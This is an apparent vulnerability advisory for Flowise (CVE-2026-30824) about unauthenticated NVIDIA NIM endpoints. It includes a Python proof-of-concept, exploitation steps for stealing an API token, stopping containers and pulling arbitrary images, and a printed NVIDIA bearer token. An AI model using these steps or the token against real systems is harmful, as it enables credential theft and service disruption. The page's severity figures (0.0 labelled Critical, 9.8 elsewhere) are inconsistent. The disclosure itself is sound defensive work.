GHSA-5f53-522j-j454 CVE-2026-30824
Flowise Missing Authentication on NVIDIA NIM Endpoints
- Severity
- 0.0 / 10
- Critical · CVSS 4.0
- Exploit chance (EPSS)
- 36.91%
- Chance of exploitation in the next 30 days. Higher than 98.51% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-306 Missing Authentication for Critical Function
- Fix
3.0.13- Upgrade flowise to this version or later
Description
Missing Authentication on NVIDIA NIM Endpoints
Summary
The NVIDIA NIM router (/api/v1/nvidia-nim/*) is whitelisted in the global authentication middleware, allowing unauthenticated access to privileged container management and token generation endpoints.
Vulnerability Details
| Field | Value |
|---|---|
| CWE | CWE-306: Missing Authentication for Critical Function |
| Affected File | packages/server/src/utils/constants.ts |
| Affected Line | Line 20 ('/api/v1/nvidia-nim' in WHITELIST_URLS) |
| CVSS 3.1 | 8.6 (High) |
Root Cause
In packages/server/src/utils/constants.ts, the NVIDIA NIM route is added to the authentication whitelist:
export const WHITELIST_URLS = [
// ... other URLs
'/api/v1/nvidia-nim', // Line 20 - bypasses JWT/API-key validation
// ...
]
This causes the global auth middleware to skip authentication checks for all endpoints under /api/v1/nvidia-nim/*. None of the controller actions in packages/server/src/controllers/nvidia-nim/index.ts perform their own authentication checks.
Affected Endpoints
| Method | Endpoint | Risk |
|---|---|---|
| GET | /api/v1/nvidia-nim/get-token |
Leaks valid NVIDIA API token |
| GET | /api/v1/nvidia-nim/preload |
Resource consumption |
| GET | /api/v1/nvidia-nim/download-installer |
Resource consumption |
| GET | /api/v1/nvidia-nim/list-running-containers |
Information disclosure |
| POST | /api/v1/nvidia-nim/pull-image |
Arbitrary image pull |
| POST | /api/v1/nvidia-nim/start-container |
Arbitrary container start |
| POST | /api/v1/nvidia-nim/stop-container |
Denial of Service |
| POST | /api/v1/nvidia-nim/get-image |
Information disclosure |
| POST | /api/v1/nvidia-nim/get-container |
Information disclosure |
Impact
1. NVIDIA API Token Leakage
The /get-token endpoint returns a valid NVIDIA API token without authentication. This token grants access to NVIDIA's inference API and can list 170+ LLM models.
Token obtained:
{
"access_token": "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",
"token_type": "Bearer",
"expires_in": 3600
}
Token validation:
curl -H "Authorization: Bearer nvapi-GT-..." https://integrate.api.nvidia.com/v1/models
# Returns list of 170+ available models
2. Container Runtime Manipulation
On systems with Docker/NIM installed, an unauthenticated attacker can:
- List running containers (reconnaissance)
- Stop containers (Denial of Service)
- Start containers with arbitrary images
- Pull arbitrary Docker images (resource consumption, potential malicious images)
Proof of Concept
poc.py
#!/usr/bin/env python3
"""
POC: Privileged NVIDIA NIM endpoints are unauthenticated
Usage:
python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/get-token
"""
import argparse
import urllib.request
import urllib.error
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True, help="Base URL, e.g. http://host:port")
ap.add_argument("--path", required=True, help="NIM endpoint path")
ap.add_argument("--method", default="GET", choices=["GET", "POST"])
ap.add_argument("--data", default="", help="Raw request body for POST")
args = ap.parse_args()
url = args.target.rstrip("/") + "/" + args.path.lstrip("/")
body = args.data.encode("utf-8") if args.method == "POST" else None
req = urllib.request.Request(
url,
data=body,
method=args.method,
headers={"Content-Type": "application/json"} if body else {},
)
try:
with urllib.request.urlopen(req, timeout=10) as r:
print(r.read().decode("utf-8", errors="replace"))
except urllib.error.HTTPError as e:
print(e.read().decode("utf-8", errors="replace"))
if __name__ == "__main__":
main()
<img width="1581" height="595" alt="screenshot" src="https://github.com/user-attachments/assets/85351a88-64ce-4e2c-8e67-98f217fcf989" />
Exploitation Steps
# 1. Obtain NVIDIA API token (no authentication required)
python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/get-token
# 2. List running containers
python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/list-running-containers
# 3. Stop a container (DoS)
python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/stop-container \
--method POST --data '{"containerId":"<target_id>"}'
# 4. Pull arbitrary image
python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/pull-image \
--method POST --data '{"imageTag":"malicious/image","apiKey":"any"}'
Evidence
Token retrieval without authentication:
$ python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/get-token
{"access_token":"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","token_type":"Bearer","refresh_token":null,"expires_in":3600,"id_token":null}
Token grants access to NVIDIA API:
$ curl -H "Authorization: Bearer nvapi-GT-..." https://integrate.api.nvidia.com/v1/models
{"object":"list","data":[{"id":"01-ai/yi-large",...},{"id":"meta/llama-3.1-405b-instruct",...},...]}
Container endpoints return 500 (not 401) proving auth bypass:
$ python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/list-running-containers
{"statusCode":500,"success":false,"message":"Container runtime client not available","stack":{}}
References
Affected versions
npm
| Package | Vulnerable | Fixed in |
|---|---|---|
| flowise | < 3.0.13 |
3.0.13 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
flowise npm → 3.0.13
- npm
npm install flowise@3.0.13- yarn
yarn add flowise@3.0.13- pnpm
pnpm add flowise@3.0.13
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- None
- User interaction
- None
- Confidentiality (vulnerable system)
- None
- Integrity (vulnerable system)
- None
- Availability (vulnerable system)
- None
- Confidentiality (subsequent systems)
- High
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
CVSS 3.1 9.8
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Weakness
CWE-306: Missing Authentication for Critical Function
The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
How to prevent it
- Architecture and Design: Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability. Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port. In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Architecture and Design: Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks. In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
- Implementation, System Configuration, Operation: When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-w7x8-q2gp-5cgg Flowise Prompt Injection to RCE and SSRF via CSV/Airtable Agent Python Validator Bypass | Critical | Also affects flowise |
| GHSA-9gvv-qjj3-2p6g Flowise NodeVM sandbox escape via puppeteer allowlist - authenticated RCE and arbitrary file read via Chromium | High | Also affects flowise |
| GHSA-qgvm-j2hm-6m38 Flowise: Unauthenticated OAuth2 token refresh endpoint returns access tokens — enables token theft for any connected service | Critical | Also affects flowise |
| GHSA-5xvg-pmgg-3mxr Flowise: CSV Agent Prompt Injection Remote Code Execution Vulnerability | Critical | Also affects flowise |
| GHSA-gmmw-qg98-6j6p Flowise: Broken Access Control in Stripe Subscription Endpoints Allows Cross-Tenant Billing Manipulation | High | Also affects flowise |
| GHSA-8gj2-2cvc-6xx7 Flowise: Unauthenticated Credential Abuse via Text-to-Speech Endpoint Allows Unauthorized Use of Private Chatflow TTS Credentials | Medium | Also affects flowise |
| GHSA-fm2f-4339-4p2f Flowise: Missing Authorization on Execution Update Endpoint | Medium | Also affects flowise |
| GHSA-wch5-xp77-fxg4 Flowise: Cross-Workspace OAuth2 Credential Metadata Leak | High | Also affects flowise |
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